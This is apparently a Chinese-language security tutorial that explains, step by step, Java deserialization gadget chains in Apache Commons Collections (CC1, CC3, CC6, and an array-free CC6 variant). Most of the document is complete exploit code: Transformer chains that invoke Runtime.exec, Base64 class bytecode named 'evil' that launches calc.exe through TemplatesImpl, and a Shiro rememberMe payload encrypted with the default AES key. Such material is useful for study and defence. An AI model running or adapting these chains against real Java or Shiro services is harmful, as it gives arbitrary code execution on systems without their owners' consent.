0x01 前言 commons-collections
这个包之所有能攒出那么多利⽤链来,除了因为其使⽤量⼤,技术上的原因是其中包含了⼀些可以执⾏任意⽅法的ransformer 。
所以,在commons-collections
中找Gadget的过 程,实际上可以简化为,找⼀条从 Serializable#readObject() 到Transformer#transform() 的调⽤链。
0x02 cc1 利用版本:CommonsCollections 3.1 - 3.2.1
限制:JDK版本,8u71 版本以下可用
cc1目前流行的两条链子:
1 2 3 4 AnnotationInvocationHandler.readobject() TransformedMap.checkSetValue() chainedTransformer.transform() InvokerTransformer.transform()
大概分析一下这个流程(逆推):
触发点就在InvokerTransformer.transform()
,可以试一下
1 2 3 4 Runtime r = Runtime.getRuntime();new InvokerTransformer ( "exec" ,new Class []{String.class},new Object []{"calc" } ).transform(r);
但是有一个问题出现了,Runtime是不能序列化的。因为要在java中能序列化的类必须实现一个Serializable
接口,但前者并没有。
解决办法:反射
1 2 3 Method getRuntimeMethon = (Method) new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }).transform(Runtime.class);Runtime r = (Runtime) new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }).transform(getRuntimeMethon);new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(r);
应该不难看懂,如果反射学的扎实的话。
很明显可以发现这块是一个链式调用,刚好在ChainedTransformer.transform()
中可以链式调用Transformer
数组
加下来构造一个Transformer
数组,把InvokerTransformer
放入数据中。
ChainedTransformer.transform()
中会遍历调用Transformer
数组的中对象的transform()方法
1 2 3 4 5 6 7 Transformer[] invokerTransformer= new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; new ChainedTransformer (invokerTransformer).transform(Runtime.class);
目前我们需要找到一个可以调用ChainedTransformer.transform()
的地方,并且transform
方法中值要可控
这种后我们注意到一个类ConstantTransformer
,他的transform
方法传入啥返回啥!
so,是不是可以利用一下它来简化一下咱们的链子。
给出Demo,看看大家能不能看懂!
1 2 3 4 5 6 7 8 9 Transformer[] invokerTransformer= new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; Transformer transformerChain = new ChainedTransformer (invokerTransformer);
这里是不是就可以专心的找调用ChainedTransformer.transform()
的地方,而不用管值是否可控。
放两张图对比一下:
接下来就是TransformedMap.checkSetValue()
方法调用了前者
继续,在org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue
有调用前者
目前的逻辑应该就很清楚了
1 2 3 4 AbstractInputCheckedMapDecorator.MapEntry#setValue() TransformedMap.checkSetValue() chainedTransformer.transform() InvokerTransformer.transform()
AbstractInputCheckedMapDecorator
这个类
他里边的一个内部类MapEntry
调用了setValue
方法,然后调用了checkSetValue
而且他还是TransformedMap
的父类
下变的目标就是找哪里调用setValue
方法了
重点就在于MapEntry
,MapEntry在遍历一个集合时指代他的键和值,那是不是我们遍历AbstractInputCheckedMapDecorator
,就可以调用到setValue
方法
但是又因为历AbstractInputCheckedMapDecorator
是TransformedMap
的父类
所以我们遍历TransformedMap
就可以调用到setValue
,测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Transformer[] invokerTransformer= new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class}, new Object []{"calc" }) }; Transformer transform = (Transformer) new ChainedTransformer (invokerTransformer).transform(new Object ());Map map = new HashMap ();Map<Object,Object> transformedMap = TransformedMap.decorate(map, null ,transform); for (Map.Entry entry : transformedMap.entrySet()) { entry.setValue(new Object ()); }
继续找,找一个遍历集合,并且调用setValue
方法的地方,最好就是找一个readObject里边调用setValue
的地方
刚好就找到了一个AnnotationInvocationHandler
不过我们可以看到他前边没有public….这些修饰,是默认权限。所以就只能在当前类以及同包(package)下的其他类中被访问
所以就要通过反射来调用它
1 2 3 4 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandler.setAccessible(true ); Object o = annotationInvocationHandler.newInstance(Target.class,transformedMap);
调试发现执行失败,问题就在于AnnotationInvocationHandler.readObject()
在调用setValue()之前有两个判断,我们需满足
有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞。
如何让这个var7不为null呢?这一块我就不详细分析了,还会涉及到Java注释相关的技术。直接给 出两个条件:
sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
我们找到了一个注解Target,它中有一个value()方法
为了再满足第二个条件,我需要给Map中放入一个Key是value的元素:
LazyMap 在ysoserial中用到的是LazyMap而不是TransformedMap。其实和我们其那边分析的类似,也都只能在8u71版本下使用
1 2 3 4 AnnotationInvocationHandler.invoke() LazyMap.get() chainedTransformer.transform() InvokerTransformer.transform()
上边我们分析的是在TransformedMap.checkSetValue()
中调用chainedTransformer.transform()
而这条链用的是LazyMap.get()
之后就是围绕着get 方法向上寻找的过程!
最终还是找到了AnnotationInvocationHandler
,其中的invoke方法调用了get()
如何触发invoke呢?
前边讲过的动态代理,通过代理调用一个对象的方法,就会触发他的invoke
so..懂了吗?没动再拐回去看看代理类吧!
最终的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Transformer[] invokerTransformer= new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(invokerTransformer); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, transformerChain); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandler.setAccessible(true); InvocationHandler h = (InvocationHandler) annotationInvocationHandler.newInstance(Override.class,lazyMap); Map myProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h); Object o = annotationInvocationHandler.newInstance(Override.class, myProxy);
0x03 cc6 利用版本:CommonsCollections 3.1 - 3.2.1
限制:可在Java 7和8的⾼版本触发
Java 8u71以后,cc1利⽤链不能再利⽤了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。
接下来的cc6就是在高版本下的利用。
1 2 3 4 5 6 HashMap.readObject() tiedMapEntry.hashCode() tiedMapEntry.getValue() LazyMap.get() chainedTransformer.transform() InvokerTransformer.transform()
其实上半段链子还是相同的,cc6就是继续寻找一个调用get()的地方!
在tiedMapEntry.getValue()中调用
getValue()
又在tiedMapEntry
类下的tiedMapEntry
下的hashCode()
中调用
到这块后,不就和前边分析的urldns
的链子结合起来了
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Transformer[] invokerTransformer= new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer transformerChain = new ChainedTransformer(invokerTransformer); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry,"bbb"); lazyMap.remove("aaa"); Class c = LazyMap.class; Field lazymapF = c.getDeclaredField("factory"); lazymapF.setAccessible(true); lazymapF.set(lazyMap,transformerChain);
可以看到这个给的poc中多了lazyMap.remove("aaa")
因为在LazyMap.get()中有个判断,大概就是判断是否包含key
这个可以就是咱创建TiedMapEntry
是构造函数传入的。
但是这个map咱也没往里边放数据,为啥判断没成立。
具体的原因就是因为在HashMap的put⽅法中,也有调⽤到 hash(key),hashMap.put()
这步时就已经触发了整条链,产生了一定的影响,所以直接在序列化前把这个key移除掉就OK!
0x04 字节码 java中类加载就是:加载.class
文件到 JVM 中(在内存中生成一个代表该类的 Class
对象),java的类加载机制是一个很大的话题,这里主要关注一下安全相关!
提到类加载必不可免的要说一下类加载器ClassLoader
defineClass 不管是加载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用
1 ClassLoader#loadClass ---> ClassLoader#findClass ---> ClassLoader#defineClass
loadClass
的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
findClass
的作用是根据基础URL指定的方式来加载类的字节码,就像上面说到的,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
defineClass
的作用是处理前面传入的字节码,将其处理成真正的Java类
**真正核心的部分其实是 defineClass
**,他决定了如何将一段字节流转变成一个Java类,Java 默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中。
编写一个简单的代码,来演示如何让系统的 defineClass 来直接加载字节码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import java.lang.reflect.Method;import java.util.Base64;public class HelloDefineClass { public static void main (String[] args) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); defineClass.setAccessible(true ); byte [] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEA" + "Bjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVs" + "bG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZh" + "L2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" + "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" + "OylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoA" + "AAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM" ); Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello" , code,0 , code.length); hello.newInstance(); } }
注意:在 defineClass
被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造 函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在 defineClass 时也无法被直接调用到。所以,如果我们要使用 defineClass 在目标机器上执行任意代码,需要想办法调用构造函数。
这里,因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问,不得 不使用反射的形式来调用。 在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我 们常用的一个攻击链 TemplatesImpl 的基石。
TemplatesImpl 因为系统的 ClassLoader#defineClass
是一个保护属性,所以很难直接利用,so需要找到一个调用defineClass()
地方。并且可以被直接调用的方法。
这个推导的过程网上挺多的,就不演示了。主要就是从com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader#defineClass
到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
的一个过程。
需要利用TemplatesImpl
加载字节码,需要使用反射设置其三个私有属性:_bytecodes、 _name 、_tfactory
_name
:为任意字符串,只要不是null才可以进入defineTransletClasses()
_bytecodes
:由字节码组成的数组,用来存放恶意代码,其值不能为null
_tfactory
需要是一个 TransformerFactoryImpl
对象,因为TemplatesImpl#defineTransletClasses()
方法里有调用_tfactory.getExternalExtensionsMap()
,如果是null会出错
另外TemplatesImpl
中对加载的字节码是有一定要求的:这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public static void setFieldValue (Object obj, String fieldName, Object Value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, Value); } public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" + "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" + "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" + "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" + "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" + "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" + "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" + "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" + "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" + "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" + "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" + "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" + "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" + "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" + "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" + "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" + "DwABABAAAAACABE=" ); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{code}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); obj.newTransformer(); }
0x05 cc3 利用版本:CommonsCollections 3.1 - 3.2.1
限制:JDK版本,8u71 版本以下可用
在cc1中我们可以通过TransformedMap
执⾏任意Java⽅法,上边有分析了TemplatesImpl#newTransformer
来加载字节码!
那现在就把结合一下。
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT" ); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] invokerTransformer = new Transformer []{ new ConstantTransformer (obj), new InvokerTransformer ("newTransformer" , null ,null ) }; Transformer transformerChain = new ChainedTransformer (invokerTransformer); Map map = new HashMap (); Map transformedMap = TransformedMap.decorate(map, null ,transformerChain); transformedMap.put("value" , "value" ); }
这块就简单的通过transformedMap.put()
来触发一下。
但是这并不是真正的cc3,查看ysoserial的代码
ysoserial中的CC3,可以发现其中没有使⽤到InvokerTransformer
原因是什么呢?
2015年初,@frohoff和@gebl发布了 Marshalling Pickles:how deserializing objects will ruin your day ,以及反序列化利用工具yaoserial,安全开发者自然会去寻找一种安全的过滤方法,类似SerialKiller 这样的工具随之诞生:
SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在其发布的第⼀个版本代码中,我们可以看到其给出了最初的⿊名单
这个⿊名单中InvokerTransformer
赫然在列,也就切断了CommonsCollections1
的利⽤链。ysoserial随后增加了不少新的Gadgets,其中就包括CommonsCollections3
。
CommonsCollections3的⽬的很明显,就是为了绕过⼀些规则对InvokerTransformer的限制。 CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法,⽽是⽤到了另⼀个 类, com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
这个类的构造⽅法中调⽤(TransformerImpl) templates.newTransformer()
,免去了我们使⽤InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步
当然,缺少了InvokerTransformer,TrAXFilter
的构造⽅法也是⽆法调⽤的。这⾥会⽤到⼀个新的Transformer,就是 org.apache.commons.collections.functors.InstantiateTransformer
。InstantiateTransformer
也是⼀个实现了Transformer
接⼝的类,他的作⽤就是调⽤构造⽅法.
目标很明确了,利⽤InstantiateTransformer
来调⽤到TrAXFilter
的构造⽅法,再利⽤其构造⽅法⾥的templates.newTransformer()
调⽤到TemplatesImpl
⾥的字节码
构造的Transformer调⽤链如下:
1 2 3 4 5 6 Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer ( new Class [] { Templates.class }, new Object [] { obj }) };
替换到前⾯的demo中,也能成功触发,避免了使⽤InvokerTransformer
payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public static void setFieldValue (Object obj, String fieldName, Object value) throws E Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT" ); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer ( new Class [] { Templates.class }, new Object [] { obj }) }; Transformer transformerChain = new ChainedTransformer (transformers); Map map = new HashMap (); map.put("value" , "value" ); Map transformedMap = TransformedMap.decorate(map, null ,transformerChain); transformedMap.put("value" , "value" ); }
0x06 无数组cc6 众所周知,原生的cc6打shiro会报错!p牛最后总结出的原因如下:
如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。
那我们如何来解决这个问题?
前面说到的TemplatesImpl
就可以利用了,通过下面这几行代码来执行一段Java的字节码:
1 2 3 4 5 TemplatesImpl obj = new TemplatesImpl ();setFieldValue(obj, "_bytecodes" , new byte [][] {"...bytescode" }); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); obj.newTransformer();
接下来利用InvokerTransformer
调用TemplatesImpl#newTransformer
方法:
1 2 3 4 Transformer[] transformers = new Transformer []{ new ConstantTransformer (obj), new InvokerTransformer ("newTransformer" , null , null ) };
这里仍然用到了Transformer数组,不符合条件,在CommonsCollections6中,我们用到了一个类TiedMapEntry
,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。 TiedMapEntry
类有个getValue
方法,调用了map的get方法,并传入key:
1 2 3 public Object getValue () { return map.get(key); }
当这个map是LazyMap时,其get方法就是触发transform的关键点
1 2 3 4 5 6 7 8 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
以往构造CommonsCollections Gadget的时候,对LazyMap#get
方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象
但是此时我们无法使用Transformer
数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个LazyMap#get
的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。
那么我们再回看前面的Transform数组:
1 2 3 4 Transformer[] transformers = new Transformer []{ new ConstantTransformer (obj), new InvokerTransformer ("newTransformer" , null , null ) };
new ConstantTransformer(obj)
这一步完全是可以去除了,数组长度变成1,那么数组也就不需要了。
改造一下CommonsCollections6
首先还是创建TemplatesImpl对象:
1 2 3 4 TemplatesImpl obj = new TemplatesImpl ();setFieldValue(obj, "_bytecodes" , new byte [][] {"...bytescode" }); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ());
然后我们创建一个用来调用newTransformer方法的InvokerTransformer,但注意的是,此时先传入一个人畜无害的方法,比如getClass
,避免恶意方法在构造Gadget的时候触发
1 Transformer transformer = new InvokerTransformer ("getClass" , null , null );
再把之前的CommonsCollections6
的代码复制过来,然后改上一节说到的点,就是将原来TiedMapEntry构造时的第二个参数key,改为前面创建的TemplatesImpl对象
1 2 3 4 5 6 Map innerMap = new HashMap ();Map outerMap = LazyMap.decorate(innerMap, transformer);TiedMapEntry tme = new TiedMapEntry (outerMap, obj);Map expMap = new HashMap ();expMap.put(tme, "valuevalue" ); outerMap.clear();
和我之前的CommonsCollections6稍有不同的是,我之前是使用 outerMap.remove(“keykey”); 来移 除key的副作用,现在是通过 outerMap.clear(); ,效果相同。 最后,将 InvokerTransformer 的方法从人畜无害的 getClass ,改成 newTransformer ,正式完成武 器装配。
完整payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CommonsCollectionsShiro { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public byte [] getpayload(byte [] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{clazzBytes}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer transformer = new InvokerTransformer ("getClass" , null , null ); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry (outerMap, obj); Map expMap = new HashMap (); expMap.put(tme, "valuevalue" ); outerMap.clear(); setFieldValue(transformer, "iMethodName" , "newTransformer" ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(expMap); oos.close(); return barr.toByteArray(); } }
对象序列化成字节数组 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ByteArrayOutputStream barr = new ByteArrayOutputStream ();ObjectOutputStream oos = new ObjectOutputStream (barr);oos.writeObject(expMap); oos.close(); barr.toByteArray();
无数组cc6打shiro poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import javassist.ClassPool;import javassist.CtClass;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;public class Client { public static void main (String []args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(com.xxx.class.getName()); byte [] payloads = new CommonsCollectionsShiro ().getpayload(clazz.toBytecode()); AesCipherService aes = new AesCipherService (); byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
